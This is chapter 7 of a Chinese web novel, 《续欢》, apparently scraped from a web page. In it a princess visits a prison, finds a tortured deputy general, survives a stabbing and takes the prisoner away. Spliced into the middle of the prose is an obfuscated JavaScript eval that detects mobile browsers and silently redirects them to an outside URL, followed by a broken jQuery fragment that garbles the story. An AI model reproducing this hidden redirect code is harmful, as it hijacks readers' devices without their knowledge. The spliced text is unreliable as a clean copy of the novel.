7. 第 7 章
作品:《续欢》 适应牢房里的光线后,赵湄一路还是走得磕磕绊绊,后悔没把长裙换一换。
狱卒比那林典狱识趣得多,脑袋垂得低低的,奔走在最前头,也不用她发号施令,自觉的领路到副将牢前,把锁打开。
赵湄提起碍事的裙摆入内,向四周扫一眼,却没找到被关押的副将。
魏戎川先她一步走向堆着稻草的角落,拨开遮挡视线的草梗,沉声喊:“吴洛。”
那一声呼喊带着压抑的怒火。
赵湄心里有不好的预感,快步上前,终于看清缩在最昏暗角落的吴副将。
他脸色惨白,紧闭着眼,囚服有许多处破损并染成黑褐色。
那些颜色比牢房光线更暗。
赵湄知道这是血水,从伤口渗出,透过布料,变成了一滩又一滩的血迹。
身上的囚衣就叫人看得心里发紧,布料下还不知道怎么个皮开肉绽!
不用去看魏戎川的脸,她也知道他此时估计想要生吞了自己。
人在抓进来的时候可是完好无缺的。
赵湄倒吸一口凉气,厉声质问:“没有我的命令,谁准你们用的刑!”
狱卒被吓一跳,往后退一步,战战兢兢地一句话也说不出来。
进了刑司的犯人,哪个不受这个罪?!
更何况这人是上头交待要好好‘伺候’的。
林典狱终于赶过来,进门就看见魏戎川小心搀扶着奄奄一息的副将,把他放平在稻草上。
“哎哟,殿下这里脏污,到前边干净一些的直间,我们把犯人给殿下送过去。”
这头说着,林典狱那边就想要挤过去,把魏戎川和吴洛隔开。
赵湄怎么看不穿他那点小伎俩,冷着脸把腿往外一伸。
只听闷响一声,林典狱直接被绊倒摔了个狗吃屎,愣半会也没能爬起来。
“去请大夫来!”赵湄吩咐宫人。
林典狱终于哎哟哎哟叫唤着爬起来,连声喊:“殿下绕了小的吧,这刑司重地,可不敢乱放外人进来!”
下刻门外就传来一声告罪。
“殿下亲临,臣不曾迎驾,实属罪过。”
浑厚的声音穿过昏暗光线与人群,虽说着歉意,出现在人前的姿态却是高高在上。
赵湄转过脸,看见被拥簇而来的刑司尚书程正清步步走来,一双三角眼阴沉沉地扫向她身后。
不请自来的人,让魏戎川查看伤口的动作停在那儿。
赵湄不动声色往侧边挪了一小步,恰好挡住他的身形:“怎么还惊动程尚书了?”
她抿唇微笑,眸光流转,娇滴滴的模样哪里还有方才的疾言厉色。
程正清:“殿下不怪罪臣,就已经是对臣的体恤了,哪敢用惊动一说,臣惶恐。”
用的还是虚与委蛇那一套,叫赵湄听得直牙酸。
绊倒在地的林典狱终于站起来了,哈着腰瘸着腿忙到靠山跟前诉苦。
“大人,殿下要请大夫进牢房,这实在不符合规矩……”说着一脸委屈地看赵湄,“可殿下不听小的。”
什么叫恶人先告状,这就是了。
赵湄抬抬下巴,依旧笑吟吟的模样:“程尚书,哪条律例写明了,不能给嫌疑犯人请大夫救治?”
程正清拿眼角扫了扫林典狱,又往后稻草处看去,拱手道:“殿下可能有所不知,律例没有写不允许给犯人救治,却白纸黑字写明大牢重地,外人不可擅闯!”
“殿下要救治,臣建议去太医院传人,再有……”
程正清忽然往前走了一步,想要越过她。
“这宦官似乎很面生,没在殿下身边见过……”
琳琅反应快,往前迈出一步想要挡住程正清的去路,哪知先被赵湄拦了一下。
程正清当即眯起了双眼,审视的目光扫过琳琅,又落在最后面的魏戎川的身上。
被铁窗筛成一条条的阳光半笼罩着那个身影,半明半暗中,叫程正清感到熟悉。
琳琅知道自己的举动更是引起怀疑了,懊恼下也有急智,转而从腰间香囊掏出一颗香珠,用手帕包着送到赵湄面前。
“殿下,这里味道实在难闻。”
正是说着,被打断步伐的程正清再次往前走。
赵湄恍若未觉,嗔了琳琅一句:“你再慢点拿出来,本宫当真要被熏死在这儿了……”
程正清已然越过她,发现赵湄没有阻拦自己,而那个照顾伤犯的宦官更不见慌乱,心里那点疑虑就变得更不确定。
莫不是他猜错了,这就是一个普通的宦官?
听说魏戎川早上才跟长公主闹矛盾离宫,似乎就是为了让长公主放了他的副将。
如若前去看清那就是一个普通宦官,按赵湄如今的不讲道理的脾气,恐怕要跟他一顿闹。
并非真怕了她,而是如今卫国公已经先抢先一步把儿子送到赵湄跟前,如若此时再得罪她,联姻一事无疑会再生出麻烦。
“殿下……”程正清到底按捺了一探究竟的心,转身挤出笑。
赵湄两指轻轻捏着香珠放在鼻尖,挑着眉先一步打断他的话:“程尚书来得也正是时候,没我的命令,谁允许用的刑?!”
“本宫当朝说过,此案必须由我监审,陛下也应允了,结果你们就私自用刑了?!”
程正清拱手抢着辩解:“殿下息怒,臣不知此事,待臣问清楚是怎么个回事!”
不狡辩,让赵湄再说下去,就是欺君罔上了!
大帽子扣下来,想开脱也要跟着掉层皮。
赵湄的难缠,这几天他可是见识过了。
一句不知就把事情甩得那一个叫干净,赵湄嗤笑:“我前后来大牢不够一刻钟你就知道了,用刑那么大的事,你却不知道?!”
果真是牙尖嘴利的主,程正清忍着脾气,皱眉假意要责问。
“今日究竟谁当的值……”
话说一半,他声音却像是被人扼住喉咙,下半句全堵了回去,大睁着眼看着一名狱卒忽然冲向赵湄。
半截刀尖露在他袖子外,闪动着幽幽的寒光。
“保护殿下!”巨大的恐惧笼罩着程正清,他嘶声力竭高喊。
然而已经晚了,那个狱卒已经撞到了赵湄身上,琳琅离得再近,也没能把赵湄完全推开。
利刃划破布帛的声音明明很轻,却让在场的人无比刺耳,紧接着是赵湄吃疼的抽气声。
魏戎川注意力都留意着程正清,事发紧急,冲上前的时候赵湄已经被伤着。
他抬腿一脚狠狠把人踹飞出去,正要上前再把人摁住,眼前却一黑,被转身扑过来的赵湄抱了个正着。
连带着把他也撞得往后退了好几步才停下。
“不许动,往后退!”赵湄忍着疼,紧紧搂着他脖子。
这个时候冲上前,不就是自投罗网?!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696874|188995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魏戎川浑身一僵,一声不坑。
赵湄没听见他回答,急得低声又说:“都这个时候了,别意气用事!”
魏戎川双眼一闭,终于说话了。
他声音闷闷的:“殿下要把臣捂死了。”
捂死?!
赵湄后知后觉,视线慢慢往下看,发现自己不知什么时候被他托住了臀部,因为搂抱的姿势,他整个脸都陷在了……柔软之间。
她脸瞬间涨红,赶忙松手,从他身上跳下来。
要不是魏戎川早有准备,扶了她的腰,她恐怕要再摔一次。
而他们身后早乱成一团,那名飞出的狱卒被死死压住,匕首也被缴了,琳琅众人更是把她包围得严严实实,以防那贼人再暴起。
赵湄看着这一幕,脸上的热浪不减反升。
起码琳琅几人是看到了刚才她和魏戎川那糟糕的姿势。
“放肆!居然敢对殿下动手!”程正清手指着伤人的狱卒,声音都是抖的。
赵湄来探监,却遇到刺杀,这哪里是冲赵湄来的,是冲他来的!
有人一把扣着狱卒的脸,让他抬起头,好让人看清面孔。
映入眼帘的那张脸叫程正清瞳孔猛然一缩,心脏也不受控制剧烈跳动起来。
这人……怎么会在这里!
几乎是同一时间,那狱卒再次暴起,居然是三个人也没能按住,直接扑向程正清。
极度惊讶之下,手上的动作比大脑更快,程正清反手抽出腰间的短刀,稳准狠刺入了对方心脏。
一下还不够,在对方不敢置信的目光中抽出短刀,对着他脖子横抹过去。
鲜血溅了程正清一脸,因为紧张而抽搐的肌肉,在艳|色中一下一下清晰跳动着。
“大人!”
刑司的人闻声涌了过来,看见直挺挺倒在地上的面生狱卒,还有满身是血的尚书大人,纷纷惊恐跪倒。
程正清在呼啦啦下跪声音中终于回神,踩着那死透了狱卒的手,走到赵湄跟前请罪:“殿下受惊,臣一定查清此贼子为何行刺殿下与臣下!”
“好一个刑司,先是对本宫监管的人用刑,后又有要本宫性命的贼子。”赵湄冷哼一声,“程尚书,本宫会如实禀报圣上!”
程正清握拳的手背青筋凸起,“殿下,此人也欲对臣下杀手……”
“这些狡辩的话你自个到圣上跟前说去吧!”赵湄捂着伤处,根本不和他多口舌,“把人带回明霞殿,你背我回去。”
待程正清反应回来,发现赵湄居然是要把吴副将带走。
“殿下不可!”
程正清要去阻拦,他们千辛万苦才把人弄到眼皮子低下,要是被带走,不就白做功夫了!
琳琅横眉竖眼地叉腰一挡:“大胆,你们真要造反不成!再靠近殿下一步,不论是谁,都按那逆贼下场同处!”
程正清被斥得一滞,其余人吓得纷纷让开路,魏戎川背着赵湄,被她故意用袖子挡着半张脸,从程正清那老狐狸跟前大大方方走过。
一行人远去,留下程正清一个人脸色铁青站在那。
魏戎川跟进了赵湄的马车,琳琅心疼地掀起她袖子查看伤口。
赵湄故意狠狠吸一口气,斜着眼看魏戎川:“魏将军,你的副将弄出来了,这恩情你要怎么还呢?”
靠着车壁的男子唇角轻轻一扬,眼神变得凌厉起来:“殿下真是好算计。”

